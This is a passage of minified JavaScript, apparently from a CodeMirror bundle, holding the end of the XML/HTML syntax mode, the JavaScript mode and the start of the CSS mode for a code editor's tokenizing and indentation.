w=k.htmlMode?{autoSelfClosers:{area:true,base:true,br:true,col:true,command:true,embed:true,frame:true,hr:true,img:true,input:true,keygen:true,link:true,meta:true,param:true,source:true,track:true,wbr:true,menuitem:true},implicitlyClosed:{dd:true,li:true,optgroup:true,option:true,p:true,rp:true,rt:true,tbody:true,td:true,tfoot:true,th:true,tr:true},contextGrabbers:{dd:{dd:true,dt:true},dt:{dd:true,dt:true},li:{li:true},option:{option:true,optgroup:true},optgroup:{optgroup:true},p:{address:true,article:true,aside:true,blockquote:true,dir:true,div:true,dl:true,fieldset:true,footer:true,form:true,h1:true,h2:true,h3:true,h4:true,h5:true,h6:true,header:true,hgroup:true,hr:true,menu:true,nav:true,ol:true,p:true,pre:true,section:true,table:true,ul:true},rp:{rp:true,rt:true},rt:{rp:true,rt:true},tbody:{tbody:true,tfoot:true},td:{td:true,th:true},tfoot:{tbody:true},th:{td:true,th:true},thead:{tbody:true,tfoot:true},tr:{tr:true}},doNotIndent:{pre:true},allowUnquoted:true,allowMissing:true,caseFold:true}:{autoSelfClosers:{},implicitlyClosed:{},contextGrabbers:{},doNotIndent:{},allowUnquoted:false,allowMissing:false,caseFold:false};var c=k.alignCDATA;var f,g;function n(F,E){function C(G){E.tokenize=G;return G(F,E)}var D=F.next();if(D=="<"){if(F.eat("!")){if(F.eat("[")){if(F.match("CDATA[")){return C(v("atom","]]>"))}else{return null}}else{if(F.match("--")){return C(v("comment","-->"))}else{if(F.match("DOCTYPE",true,true)){F.eatWhile(/[\w\._\-]/);return C(z(1))}else{return null}}}}else{if(F.eat("?")){F.eatWhile(/[\w\._\-]/);E.tokenize=v("meta","?>");return"meta"}else{f=F.eat("/")?"closeTag":"openTag";E.tokenize=m;return"tag bracket"}}}else{if(D=="&"){var B;if(F.eat("#")){if(F.eat("x")){B=F.eatWhile(/[a-fA-F\d]/)&&F.eat(";")}else{B=F.eatWhile(/[\d]/)&&F.eat(";")}}else{B=F.eatWhile(/[\w\.\-:]/)&&F.eat(";")}return B?"atom":"error"}else{F.eatWhile(/[^&<]/);return null}}}function m(E,D){var C=E.next();if(C==">"||(C=="/"&&E.eat(">"))){D.tokenize=n;f=C==">"?"endTag":"selfcloseTag";return"tag bracket"}else{if(C=="="){f="equals";return null}else{if(C=="<"){D.tokenize=n;D.state=l;D.tagName=D.tagStart=null;var B=D.tokenize(E,D);return B?B+" tag error":"tag error"}else{if(/[\'\"]/.test(C)){D.tokenize=j(C);D.stringStartCol=E.column();return D.tokenize(E,D)}else{E.match(/^[^\s\u00a0=<>\"\']*[^\s\u00a0=<>\"\'\/]/);return"word"}}}}}function j(B){var C=function(E,D){while(!E.eol()){if(E.next()==B){D.tokenize=m;break}}return"string"};C.isInAttribute=true;return C}function v(C,B){return function(E,D){while(!E.eol()){if(E.match(B)){D.tokenize=n;break}E.next()}return C}}function z(B){return function(E,D){var C;while((C=E.next())!=null){if(C=="<"){D.tokenize=z(B+1);return D.tokenize(E,D)}else{if(C==">"){if(B==1){D.tokenize=n;break}else{D.tokenize=z(B-1);return D.tokenize(E,D)}}}}return"meta"}}function r(C,B,D){this.prev=C.context;this.tagName=B;this.indent=C.indented;this.startOfLine=D;if(w.doNotIndent.hasOwnProperty(B)||(C.context&&C.context.noIndent)){this.noIndent=true}}function u(B){if(B.context){B.context=B.context.prev}}function q(D,C){var B;while(true){if(!D.context){return}B=D.context.tagName;if(!w.contextGrabbers.hasOwnProperty(B)||!w.contextGrabbers[B].hasOwnProperty(C)){return}u(D)}}function l(B,D,C){if(B=="openTag"){C.tagStart=D.column();return b}else{if(B=="closeTag"){return t}else{return l}}}function b(B,D,C){if(B=="word"){C.tagName=D.current();g="tag";return e}else{g="error";return b}}function t(C,E,D){if(C=="word"){var B=E.current();if(D.context&&D.context.tagName!=B&&w.implicitlyClosed.hasOwnProperty(D.context.tagName)){u(D)}if(D.context&&D.context.tagName==B){g="tag";return s}else{g="tag error";return A}}else{g="error";return A}}function s(C,B,D){if(C!="endTag"){g="error";return s}u(D);return l}function A(B,D,C){g="error";return s(B,D,C)}function e(E,C,F){if(E=="word"){g="attribute";return i}else{if(E=="endTag"||E=="selfcloseTag"){var D=F.tagName,B=F.tagStart;F.tagName=F.tagStart=null;if(E=="selfcloseTag"||w.autoSelfClosers.hasOwnProperty(D)){q(F,D)}else{q(F,D);F.context=new r(F,D,B==F.indented)}return l}}g="error";return e}function i(B,D,C){if(B=="equals"){return o}if(!w.allowMissing){g="error"}return e(B,D,C)}function o(B,D,C){if(B=="string"){return h}if(B=="word"&&w.allowUnquoted){g="string";return e}g="error";return e(B,D,C)}function h(B,D,C){if(B=="string"){return h}return e(B,D,C)}return{startState:function(){return{tokenize:n,state:l,indented:0,tagName:null,tagStart:null,context:null}},token:function(D,C){if(!C.tagName&&D.sol()){C.indented=D.indentation()}if(D.eatSpace()){return null}f=null;var B=C.tokenize(D,C);if((B||f)&&B!="comment"){g=null;C.state=C.state(f||B,D,C);if(g){B=g=="error"?B+" error":g}}return B},indent:function(G,C,F){var E=G.context;if(G.tokenize.isInAttribute){if(G.tagStart==G.indented){return G.stringStartCol+1}else{return G.indented+p}}if(E&&E.noIndent){return a.Pass}if(G.tokenize!=m&&G.tokenize!=n){return F?F.match(/^(\s*)/)[0].length:0}if(G.tagName){if(d){return G.tagStart+G.tagName.length+2}else{return G.tagStart+p*x}}if(c&&/<!\[CDATA\[/.test(C)){return 0}var B=C&&/^<(\/)?([\w_:\.-]*)/.exec(C);if(B&&B[1]){while(E){if(E.tagName==B[2]){E=E.prev;break}else{if(w.implicitlyClosed.hasOwnProperty(E.tagName)){E=E.prev}else{break}}}}else{if(B){while(E){var D=w.contextGrabbers[E.tagName];if(D&&D.hasOwnProperty(B[2])){E=E.prev}else{break}}}}while(E&&!E.startOfLine){E=E.prev}if(E){return E.indent+p}else{return 0}},electricInput:/<\/[\s\w:]+>$/,blockCommentStart:"<!--",blockCommentEnd:"-->",configuration:k.htmlMode?"html":"xml",helperType:k.htmlMode?"html":"xml"}});a.defineMIME("text/xml","xml");a.defineMIME("application/xml","xml");if(!a.mimeModes.hasOwnProperty("text/html")){a.defineMIME("text/html",{name:"xml",htmlMode:true})}});(function(a){if(typeof exports=="object"&&typeof module=="object"){a(require("../../lib/codemirror"))}else{if(typeof define=="function"&&define.amd){define(["../../lib/codemirror"],a)}else{a(CodeMirror)}}})(function(a){a.defineMode("javascript",function(Z,aj){var l=Z.indentUnit;var A=aj.statementIndent;var aB=aj.jsonld;var z=aj.json||aB;var g=aj.typescript;var au=aj.wordCharacters||/[\w$\xa1-\uffff]/;var ar=function(){function aR(aT){return{type:aT,style:"keyword"}}var aM=aR("keyword a"),aK=aR("keyword b"),aJ=aR("keyword c");var aL=aR("operator"),aP={type:"atom",style:"atom"};var aN={"if":aR("if"),"while":aM,"with":aM,"else":aK,"do":aK,"try":aK,"finally":aK,"return":aJ,"break":aJ,"continue":aJ,"new":aJ,"delete":aJ,"throw":aJ,"debugger":aJ,"var":aR("var"),"const":aR("var"),let:aR("var"),"function":aR("function"),"catch":aR("catch"),"for":aR("for"),"switch":aR("switch"),"case":aR("case"),"default":aR("default"),"in":aL,"typeof":aL,"instanceof":aL,"true":aP,"false":aP,"null":aP,"undefined":aP,"NaN":aP,"Infinity":aP,"this":aR("this"),module:aR("module"),"class":aR("class"),"super":aR("atom"),yield:aJ,"export":aR("export"),"import":aR("import"),"extends":aJ};if(g){var aS={type:"variable",style:"variable-3"};var aO={"interface":aR("interface"),"extends":aR("extends"),constructor:aR("constructor"),"public":aR("public"),"private":aR("private"),"protected":aR("protected"),"static":aR("static"),string:aS,number:aS,bool:aS,any:aS};for(var aQ in aO){aN[aQ]=aO[aQ]}}return aN}();var P=/[+\-*&%=<>!?|~^]/;var aq=/^@(context|id|value|language|type|container|list|set|reverse|index|base|vocab|graph)"/;function F(aM){var aK=false,aJ,aL=false;while((aJ=aM.next())!=null){if(!aK){if(aJ=="/"&&!aL){return}if(aJ=="["){aL=true}else{if(aL&&aJ=="]"){aL=false}}}aK=!aK&&aJ=="\\"}}var S,G;function L(aL,aK,aJ){S=aL;G=aJ;return aK}function U(aN,aL){var aJ=aN.next();if(aJ=='"'||aJ=="'"){aL.tokenize=R(aJ);return aL.tokenize(aN,aL)}else{if(aJ=="."&&aN.match(/^\d+(?:[eE][+\-]?\d+)?/)){return L("number","number")}else{if(aJ=="."&&aN.match("..")){return L("spread","meta")}else{if(/[\[\]{}\(\),;\:\.]/.test(aJ)){return L(aJ)}else{if(aJ=="="&&aN.eat(">")){return L("=>","operator")}else{if(aJ=="0"&&aN.eat(/x/i)){aN.eatWhile(/[\da-f]/i);return L("number","number")}else{if(/\d/.test(aJ)){aN.match(/^\d*(?:\.\d*)?(?:[eE][+\-]?\d+)?/);return L("number","number")}else{if(aJ=="/"){if(aN.eat("*")){aL.tokenize=aA;return aA(aN,aL)}else{if(aN.eat("/")){aN.skipToEnd();return L("comment","comment")}else{if(aL.lastType=="operator"||aL.lastType=="keyword c"||aL.lastType=="sof"||/^[\[{}\(,;:]$/.test(aL.lastType)){F(aN);aN.match(/^\b(([gimyu])(?![gimyu]*\2))+\b/);return L("regexp","string-2")}else{aN.eatWhile(P);return L("operator","operator",aN.current())}}}}else{if(aJ=="`"){aL.tokenize=aC;return aC(aN,aL)}else{if(aJ=="#"){aN.skipToEnd();return L("error","error")}else{if(P.test(aJ)){aN.eatWhile(P);return L("operator","operator",aN.current())}else{if(au.test(aJ)){aN.eatWhile(au);var aM=aN.current(),aK=ar.propertyIsEnumerable(aM)&&ar[aM];return(aK&&aL.lastType!=".")?L(aK.type,aK.style,aM):L("variable","variable",aM)}}}}}}}}}}}}}function R(aJ){return function(aN,aL){var aM=false,aK;if(aB&&aN.peek()=="@"&&aN.match(aq)){aL.tokenize=U;return L("jsonld-keyword","meta")}while((aK=aN.next())!=null){if(aK==aJ&&!aM){break}aM=!aM&&aK=="\\"}if(!aM){aL.tokenize=U}return L("string","string")}}function aA(aM,aL){var aJ=false,aK;while(aK=aM.next()){if(aK=="/"&&aJ){aL.tokenize=U;break}aJ=(aK=="*")}return L("comment","comment")}function aC(aM,aK){var aL=false,aJ;while((aJ=aM.next())!=null){if(!aL&&(aJ=="`"||aJ=="$"&&aM.eat("{"))){aK.tokenize=U;break}aL=!aL&&aJ=="\\"}return L("quasi","string-2",aM.current())}var m="([{}])";function ax(aP,aM){if(aM.fatArrowAt){aM.fatArrowAt=null}var aL=aP.string.indexOf("=>",aP.start);if(aL<0){return}var aO=0,aK=false;for(var aQ=aL-1;aQ>=0;--aQ){var aJ=aP.string.charAt(aQ);var aN=m.indexOf(aJ);if(aN>=0&&aN<3){if(!aO){++aQ;break}if(--aO==0){break}}else{if(aN>=3&&aN<6){++aO}else{if(au.test(aJ)){aK=true}else{if(/["'\/]/.test(aJ)){return}else{if(aK&&!aO){++aQ;break}}}}}}if(aK&&!aO){aM.fatArrowAt=aQ}}var b={atom:true,number:true,variable:true,string:true,regexp:true,"this":true,"jsonld-keyword":true};function J(aO,aK,aJ,aN,aL,aM){this.indented=aO;this.column=aK;this.type=aJ;this.prev=aL;this.info=aM;if(aN!=null){this.align=aN}}function s(aM,aL){for(var aK=aM.localVars;aK;aK=aK.next){if(aK.name==aL){return true}}for(var aJ=aM.context;aJ;aJ=aJ.prev){for(var aK=aJ.vars;aK;aK=aK.next){if(aK.name==aL){return true}}}}function f(aN,aK,aJ,aM,aO){var aP=aN.cc;D.state=aN;D.stream=aO;D.marked=null,D.cc=aP;D.style=aK;if(!aN.lexical.hasOwnProperty("align")){aN.lexical.align=true}while(true){var aL=aP.length?aP.pop():z?an:aH;if(aL(aJ,aM)){while(aP.length&&aP[aP.length-1].lex){aP.pop()()}if(D.marked){return D.marked}if(aJ=="variable"&&s(aN,aM)){return"variable-2"}return aK}}}var D={state:null,column:null,marked:null,cc:null};function aa(){for(var aJ=arguments.length-1;aJ>=0;aJ--){D.cc.push(arguments[aJ])}}function ae(){aa.apply(null,arguments);return true}function aw(aK){function aJ(aN){for(var aM=aN;aM;aM=aM.next){if(aM.name==aK){return true}}return false}var aL=D.state;if(aL.context){D.marked="def";if(aJ(aL.localVars)){return}aL.localVars={name:aK,next:aL.localVars}}else{if(aJ(aL.globalVars)){return}if(aj.globalVars){aL.globalVars={name:aK,next:aL.globalVars}}}}var q={name:"this",next:{name:"arguments"}};function w(){D.state.context={prev:D.state.context,vars:D.state.localVars};D.state.localVars=q}function x(){D.state.localVars=D.state.context.vars;D.state.context=D.state.context.prev}function aF(aK,aL){var aJ=function(){var aO=D.state,aM=aO.indented;if(aO.lexical.type=="stat"){aM=aO.lexical.indented}else{for(var aN=aO.lexical;aN&&aN.type==")"&&aN.align;aN=aN.prev){aM=aN.indented}}aO.lexical=new J(aM,D.stream.column(),aK,null,aO.lexical,aL)};aJ.lex=true;return aJ}function h(){var aJ=D.state;if(aJ.lexical.prev){if(aJ.lexical.type==")"){aJ.indented=aJ.lexical.indented}aJ.lexical=aJ.lexical.prev}}h.lex=true;function r(aJ){function aK(aL){if(aL==aJ){return ae()}else{if(aJ==";"){return aa()}else{return ae(aK)}}}return aK}function aH(aJ,aK){if(aJ=="var"){return ae(aF("vardef",aK.length),d,r(";"),h)}if(aJ=="keyword a"){return ae(aF("form"),an,aH,h)}if(aJ=="keyword b"){return ae(aF("form"),aH,h)}if(aJ=="{"){return ae(aF("}"),y,h)}if(aJ==";"){return ae()}if(aJ=="if"){if(D.state.lexical.info=="else"&&D.state.cc[D.state.cc.length-1]==h){D.state.cc.pop()()}return ae(aF("form"),an,aH,h,e)}if(aJ=="function"){return ae(M)}if(aJ=="for"){return ae(aF("form"),u,aH,h)}if(aJ=="variable"){return ae(aF("stat"),aI)}if(aJ=="switch"){return ae(aF("form"),an,aF("}","switch"),r("{"),y,h,h)}if(aJ=="case"){return ae(an,r(":"))}if(aJ=="default"){return ae(r(":"))}if(aJ=="catch"){return ae(aF("form"),w,r("("),af,r(")"),aH,h,x)}if(aJ=="module"){return ae(aF("form"),w,H,x,h)}if(aJ=="class"){return ae(aF("form"),V,h)}if(aJ=="export"){return ae(aF("form"),aG,h)}if(aJ=="import"){return ae(aF("form"),ag,h)}return aa(aF("stat"),an,r(";"),h)}function an(aJ){return Y(aJ,false)}function aE(aJ){return Y(aJ,true)}function Y(aK,aM){if(D.state.fatArrowAt==D.stream.start){var aJ=aM?N:W;if(aK=="("){return ae(w,aF(")"),at(i,")"),h,r("=>"),aJ,x)}else{if(aK=="variable"){return aa(w,i,r("=>"),aJ,x)}}}var aL=aM?j:ab;if(b.hasOwnProperty(aK)){return ae(aL)}if(aK=="function"){return ae(M,aL)}if(aK=="keyword c"){return ae(aM?ak:ai)}if(aK=="("){return ae(aF(")"),ai,az,r(")"),h,aL)}if(aK=="operator"||aK=="spread"){return ae(aM?aE:an)}if(aK=="["){return ae(aF("]"),n,h,aL)}if(aK=="{"){return ay(t,"}",null,aL)}if(aK=="quasi"){return aa(Q,aL)}return ae()}function ai(aJ){if(aJ.match(/[;\}\)\],]/)){return aa()}return aa(an)}function ak(aJ){if(aJ.match(/[;\}\)\],]/)){return aa()}return aa(aE)}function ab(aJ,aK){if(aJ==","){return ae(an)}return j(aJ,aK,false)}function j(aJ,aL,aN){var aK=aN==false?ab:j;var aM=aN==false?an:aE;if(aJ=="=>"){return ae(w,aN?N:W,x)}if(aJ=="operator"){if(/\+\+|--/.test(aL)){return ae(aK)}if(aL=="?"){return ae(an,r(":"),aM)}return ae(aM)}if(aJ=="quasi"){return aa(Q,aK)}if(aJ==";"){return}if(aJ=="("){return ay(aE,")","call",aK)}if(aJ=="."){return ae(al,aK)}if(aJ=="["){return ae(aF("]"),ai,r("]"),h,aK)}}function Q(aJ,aK){if(aJ!="quasi"){return aa()}if(aK.slice(aK.length-2)!="${"){return ae(Q)}return ae(an,p)}function p(aJ){if(aJ=="}"){D.marked="string-2";D.state.tokenize=aC;return ae(Q)}}function W(aJ){ax(D.stream,D.state);return aa(aJ=="{"?aH:an)}function N(aJ){ax(D.stream,D.state);return aa(aJ=="{"?aH:aE)}function aI(aJ){if(aJ==":"){return ae(h,aH)}return aa(ab,r(";"),h)}function al(aJ){if(aJ=="variable"){D.marked="property";return ae()}}function t(aJ,aK){if(aJ=="variable"||D.style=="keyword"){D.marked="property";if(aK=="get"||aK=="set"){return ae(I)}return ae(K)}else{if(aJ=="number"||aJ=="string"){D.marked=aB?"property":(D.style+" property");return ae(K)}else{if(aJ=="jsonld-keyword"){return ae(K)}else{if(aJ=="["){return ae(an,r("]"),K)}}}}}function I(aJ){if(aJ!="variable"){return aa(K)}D.marked="property";return ae(M)}function K(aJ){if(aJ==":"){return ae(aE)}if(aJ=="("){return aa(M)}}function at(aL,aJ){function aK(aN){if(aN==","){var aM=D.state.lexical;if(aM.info=="call"){aM.pos=(aM.pos||0)+1}return ae(aL,aK)}if(aN==aJ){return ae()}return ae(r(aJ))}return function(aM){if(aM==aJ){return ae()}return aa(aL,aK)}}function ay(aM,aJ,aL){for(var aK=3;aK<arguments.length;aK++){D.cc.push(arguments[aK])}return ae(aF(aJ,aL),at(aM,aJ),h)}function y(aJ){if(aJ=="}"){return ae()}return aa(aH,y)}function T(aJ){if(g&&aJ==":"){return ae(ad)}}function av(aJ,aK){if(aK=="="){return ae(aE)}}function ad(aJ){if(aJ=="variable"){D.marked="variable-3";return ae()}}function d(){return aa(i,T,ac,X)}function i(aJ,aK){if(aJ=="variable"){aw(aK);return ae()}if(aJ=="["){return ay(i,"]")}if(aJ=="{"){return ay(aD,"}")}}function aD(aJ,aK){if(aJ=="variable"&&!D.stream.match(/^\s*:/,false)){aw(aK);return ae(ac)}if(aJ=="variable"){D.marked="property"}return ae(r(":"),i,ac)}function ac(aJ,aK){if(aK=="="){return ae(aE)}}function X(aJ){if(aJ==","){return ae(d)}}function e(aJ,aK){if(aJ=="keyword b"&&aK=="else"){return ae(aF("form","else"),aH,h)}}function u(aJ){if(aJ=="("){return ae(aF(")"),E,r(")"),h)}}function E(aJ){if(aJ=="var"){return ae(d,r(";"),C)}if(aJ==";"){return ae(C)}if(aJ=="variable"){return ae(v)}return aa(an,r(";"),C)}function v(aJ,aK){if(aK=="in"||aK=="of"){D.marked="keyword";return ae(an)}return ae(ab,C)}function C(aJ,aK){if(aJ==";"){return ae(B)}if(aK=="in"||aK=="of"){D.marked="keyword";return ae(an)}return aa(an,r(";"),B)}function B(aJ){if(aJ!=")"){ae(an)}}function M(aJ,aK){if(aK=="*"){D.marked="keyword";return ae(M)}if(aJ=="variable"){aw(aK);return ae(M)}if(aJ=="("){return ae(w,aF(")"),at(af,")"),h,aH,x)}}function af(aJ){if(aJ=="spread"){return ae(af)}return aa(i,T,av)}function V(aJ,aK){if(aJ=="variable"){aw(aK);return ae(O)}}function O(aJ,aK){if(aK=="extends"){return ae(an,O)}if(aJ=="{"){return ae(aF("}"),o,h)}}function o(aJ,aK){if(aJ=="variable"||D.style=="keyword"){if(aK=="static"){D.marked="keyword";return ae(o)}D.marked="property";if(aK=="get"||aK=="set"){return ae(c,M,o)}return ae(M,o)}if(aK=="*"){D.marked="keyword";return ae(o)}if(aJ==";"){return ae(o)}if(aJ=="}"){return ae()}}function c(aJ){if(aJ!="variable"){return aa()}D.marked="property";return ae()}function H(aJ,aK){if(aJ=="string"){return ae(aH)}if(aJ=="variable"){aw(aK);return ae(ah)}}function aG(aJ,aK){if(aK=="*"){D.marked="keyword";return ae(ah,r(";"))}if(aK=="default"){D.marked="keyword";return ae(an,r(";"))}return aa(aH)}function ag(aJ){if(aJ=="string"){return ae()}return aa(ap,ah)}function ap(aJ,aK){if(aJ=="{"){return ay(ap,"}")}if(aJ=="variable"){aw(aK)}if(aK=="*"){D.marked="keyword"}return ae(k)}function k(aJ,aK){if(aK=="as"){D.marked="keyword";return ae(ap)}}function ah(aJ,aK){if(aK=="from"){D.marked="keyword";return ae(an)}}function n(aJ){if(aJ=="]"){return ae()}return aa(aE,am)}function am(aJ){if(aJ=="for"){return aa(az,r("]"))}if(aJ==","){return ae(at(ak,"]"))}return aa(at(aE,"]"))}function az(aJ){if(aJ=="for"){return ae(u,az)}if(aJ=="if"){return ae(an,az)}}function ao(aK,aJ){return aK.lastType=="operator"||aK.lastType==","||P.test(aJ.charAt(0))||/[,.]/.test(aJ.charAt(0))}return{startState:function(aK){var aJ={tokenize:U,lastType:"sof",cc:[],lexical:new J((aK||0)-l,0,"block",false),localVars:aj.localVars,context:aj.localVars&&{vars:aj.localVars},indented:0};if(aj.globalVars&&typeof aj.globalVars=="object"){aJ.globalVars=aj.globalVars}return aJ},token:function(aL,aK){if(aL.sol()){if(!aK.lexical.hasOwnProperty("align")){aK.lexical.align=false}aK.indented=aL.indentation();ax(aL,aK)}if(aK.tokenize!=aA&&aL.eatSpace()){return null}var aJ=aK.tokenize(aL,aK);if(S=="comment"){return aJ}aK.lastType=S=="operator"&&(G=="++"||G=="--")?"incdec":S;return f(aK,aJ,S,G,aL)},indent:function(aP,aJ){if(aP.tokenize==aA){return a.Pass}if(aP.tokenize!=U){return 0}var aO=aJ&&aJ.charAt(0),aM=aP.lexical;if(!/^\s*else\b/.test(aJ)){for(var aL=aP.cc.length-1;aL>=0;--aL){var aQ=aP.cc[aL];if(aQ==h){aM=aM.prev}else{if(aQ!=e){break}}}}if(aM.type=="stat"&&aO=="}"){aM=aM.prev}if(A&&aM.type==")"&&aM.prev.type=="stat"){aM=aM.prev}var aN=aM.type,aK=aO==aN;if(aN=="vardef"){return aM.indented+(aP.lastType=="operator"||aP.lastType==","?aM.info+1:0)}else{if(aN=="form"&&aO=="{"){return aM.indented}else{if(aN=="form"){return aM.indented+l}else{if(aN=="stat"){return aM.indented+(ao(aP,aJ)?A||l:0)}else{if(aM.info=="switch"&&!aK&&aj.doubleIndentSwitch!=false){return aM.indented+(/^(?:case|default)\b/.test(aJ)?l:2*l)}else{if(aM.align){return aM.column+(aK?0:1)}else{return aM.indented+(aK?0:l)}}}}}}},electricInput:/^\s*(?:case .*?:|default:|\{|\})$/,blockCommentStart:z?null:"/*",blockCommentEnd:z?null:"*/",lineComment:z?null:"//",fold:"brace",closeBrackets:"()[]{}''\"\"``",helperType:z?"json":"javascript",jsonldMode:aB,jsonMode:z}});a.registerHelper("wordChars","javascript",/[\w$]/);a.defineMIME("text/javascript","javascript");a.defineMIME("text/ecmascript","javascript");a.defineMIME("application/javascript","javascript");a.defineMIME("application/x-javascript","javascript");a.defineMIME("application/ecmascript","javascript");a.defineMIME("application/json",{name:"javascript",json:true});a.defineMIME("application/x-json",{name:"javascript",json:true});a.defineMIME("application/ld+json",{name:"javascript",jsonld:true});a.defineMIME("text/typescript",{name:"javascript",typescript:true});a.defineMIME("application/typescript",{name:"javascript",typescript:true})});(function(a){if(typeof exports=="object"&&typeof module=="object"){a(require("../../lib/codemirror"))}else{if(typeof define=="function"&&define.amd){define(["../../lib/codemirror"],a)}else{a(CodeMirror)}}})(function(p){p.defineMode("css",function(T,G){if(!G.propertyKeywords){G=p.resolveMode("text/css")}var M=T.indentUnit,y=G.tokenHooks,w=G.documentTypes||{},S=G.mediaTypes||{},I=G.mediaFeatures||{},F=G.propertyKeywords||{},z=G.nonStandardPropertyKeywords||{},B=G.fontProperties||{},R=G.counterDescriptors||{},L=G.colorKeywords||{},O=G.valueKeywords||{},J=G.allowNested;var A,K;function U(X,Y){A=Y;return X}function W(aa,Z){var Y=aa.next();if(y[Y]){var X=y[Y](aa,Z);if(X!==false){return X}}if(Y=="@"){aa.eatWhile(/[\w\\\-]/);return U("def",aa.current())}else{if(Y=="="||(Y=="~"||Y=="|")&&aa.eat("=")){return U(null,"compare")}else{if(Y=='"'||Y=="'"){Z.tokenize=H(Y);return Z.tokenize(aa,Z)}else{if(Y=="#"){aa.eatWhile(/[\w\\\-]/);return U("atom","hash")}else{if(Y=="!"){aa.match(/^\s*\w*/);return U("keyword","important")}else{if(/\d/.test(Y)||Y=="."&&aa.eat(/\d/)){aa.eatWhile(/[\w.%]/);return U("number","unit")}else{if(Y==="-"){if(/[\d.]/.test(aa.peek())){aa.eatWhile(/[\w.%]/);return U("number","unit")}else{if(aa.match(/^-[\w\\\-]+/)){aa.eatWhile(/[\w\\\-]/);if(aa.match(/^\s*:/,false)){return U("variable-2","variable-definition")}return U("variable-2","variable")}else{if(aa.match(/^\w+-/)){return U("meta","meta")}}}}else{if(/[,+>*\/]/.test(Y)){return U(null,"select-op")}else{if(Y=="."&&aa.match(/^-?[_a-z][_a-z0-9-]*/i)){return U("qualifier","qualifier")}else{if(/[:;{}\[\]\(\)]/.test(Y)){return U(null,Y)}else{if((Y=="u"&&aa.match(/rl(-prefix)?\(/))||(Y=="d"&&aa.match("omain("))||(Y=="r"&&aa.match("egexp("))){aa.backUp(1);Z.tokenize=V;return U("property","word")}else{if(/[\w\\\-]/.test(Y)){aa.eatWhile(/[\w\\\-]/);return U("property","word")}else{return U(null,null)}}}}}}}}}}}}}function H(X){return function(ab,Z){var aa=false,Y;while((Y=ab.next())!=null){if(Y==X&&!aa){if(X==")"){ab.backUp(1)}break}aa=!aa&&Y=="\\"}if(Y==X||!aa&&X!=")"){Z.tokenize=null}return U("string","string")}}function V(Y,X){Y.next();if(!Y.match(/\s*[\"\')]/,false)){X.tokenize=H(")")}else{X.tokenize=null}return U(null,"(")}function N(Y,X,Z){this.type=Y;this.indent=X;this.prev=Z}function D(Y,Z,X){Y.context=new N(X,Z.indentation()+M,Y.context);return X}function P(X){X.context=X.context.prev;return X.context.type}function x(X,Z,Y){return C[Y.context.type](X,Z,Y)}function Q(Y,aa,Z,ab){for(var X=ab||1;X>0;X--){Z.context=Z.context.prev}return x(Y,aa,Z)}function E(Y){var X=Y.current().toLowerCase();if(O.hasOwnProperty(X)){K="atom"}else{if(L.hasOwnProperty(X)){K="keyword"}else{K="variable"}}}var C={};C.top=function(X,Z,Y){if(X=="{"){return D(Y,Z,"block")}else{if(X=="}"&&Y.context.prev){return P(Y)}else{if(/@(media|supports|(-moz-)?document)/.test(X)){return D(Y,Z,"atBlock")}else{if(/@(font-face|counter-style)/.test(X)){Y.stateArg=X;return"restricted_atBlock_before"}else{if(/^@(-(moz|ms|o|webkit)-)?keyframes$/.test(X)){return"keyframes"}else{if(X&&X.charAt(0)=="@"){return D(Y,Z,"at")}else{if(X=="hash"){K="builtin"}else{if(X=="word"){K="tag"}else{if(X=="variable-definition"){return"maybeprop"}else{if(X=="interpolation"){return D(Y,Z,"interpolation")}else{if(X==":"){return"pseudo"}else{if(J&&X=="("){return D(Y,Z,"parens")}}}}}}}}}}}}return Y.context.type};C.block=function(X,aa,Y){if(X=="word"){var Z=aa.current().toLowerCase();if(F.hasOwnProperty(Z)){K="property";return"maybeprop"}else{if(z.hasOwnProperty(Z)){K="string-2";return"maybeprop"}else{if(J){K=aa.match(/^\s*:(?:\s|$)/,false)?"property":"tag";return"block"}else{K+=" error";return"maybeprop"}}}}else{if(X=="meta"){return"block"}else{if(!J&&(X=="hash"||X=="qualifier")){K="error";return"block"}else{return C.top(X,aa,Y)}}}};C.maybeprop=function(X,Z,Y){if(X==":"){return D(Y,Z,"prop")}return x(X,Z,Y)};C.prop=function(X,Z,Y){if(X==";"){return P(Y)}if(X=="{"&&J){return D(Y,Z,"propBlock")}if(X=="}"||X=="{"){return Q(X,Z,Y)}if(X=="("){return D(Y,Z,"parens")}if(X=="hash"&&!/^#([0-9a-fA-f]{3}|[0-9a-fA-f]{6})$/.test(Z.current())){K+=" error"}else{if(X=="word"){E(Z)}else{if(X=="interpolation"){return D(Y,Z,"interpolation")}}}return"prop"};C.propBlock=function(Y,X,Z){if(Y=="}"){return P(Z)}if(Y=="word"){K="property";return"maybeprop"}return Z.context.type};C.parens=function(X,Z,Y){if(X=="{"||X=="}"){return Q(X,Z,Y)}if(X==")"){return P(Y)}if(X=="("){return D(Y,Z,"parens")}if(X=="interpolation"){return D(Y,Z,"interpolation")}if(X=="word"){E(Z)}return"parens"};C.pseudo=function(X,Z,Y){if(X=="word"){K="variable-3";return Y.context.type}return x(X,Z,Y)};C.atBlock=function(X,aa,Y){if(X=="("){return D(Y,aa,"atBlock_parens")}if(X=="}"){return Q(X,aa,Y)}if(X=="{"){return P(Y)&&D(Y,aa,J?"block":"top")}if(X=="word"){var Z=aa.current().toLowerCase();if(Z=="only"||Z=="not"||Z=="and"||Z=="or"){K="keyword"}else{if(w.hasOwnProperty(Z)){K="tag"}else{if(S.hasOwnProperty(Z)){K="attribute"}else{if(I.hasOwnProperty(Z)){K="property"}else{if(F.hasOwnProperty(Z)){K="property"}else{if(z.hasOwnProperty(Z)){K="string-2"}else{if(O.hasOwnProperty(Z)){K="atom"}else{K="error"}}}}}}}}return Y.context.type};C.atBlock_parens=function(X,Z,Y){if(X==")"){return P(Y)}if(X=="{"||X=="}"){return Q(X,Z,Y,2)}return C.atBlock(X,Z,Y)};C.restricted_atBlock_before=function(X,Z,Y){if(X=="{"){return D(Y,Z,"restricted_atBlock")}if(X=="word"&&Y.stateArg=="@counter-style"){K="variable";return"restricted_atBlock_before"}return x(X,Z,Y)};C.restricted_atBlock=function(X,Z,Y){if(X=="}"){Y.stateArg=null;return P(Y)}if(X=="word"){if((Y.stateArg=="@font-face"&&!B.hasOwnProperty(Z.current().toLowerCase()))||(Y.stateArg=="@counter-style"&&!R.hasOwnProperty(Z.current().toLowerCase()))){K="error"}else{K="property"}return"maybeprop"}return"restricted_atBlock"};C.keyframes=function(X,Z,Y){if(X=="word"){K="variable";return"keyframes"}if(X=="{"){return D(Y,Z,"top")}return x(X,Z,Y)};C.at=function(X,Z,Y){if(X==";"){return P(Y)}if(X=="{"||X=="}"){return 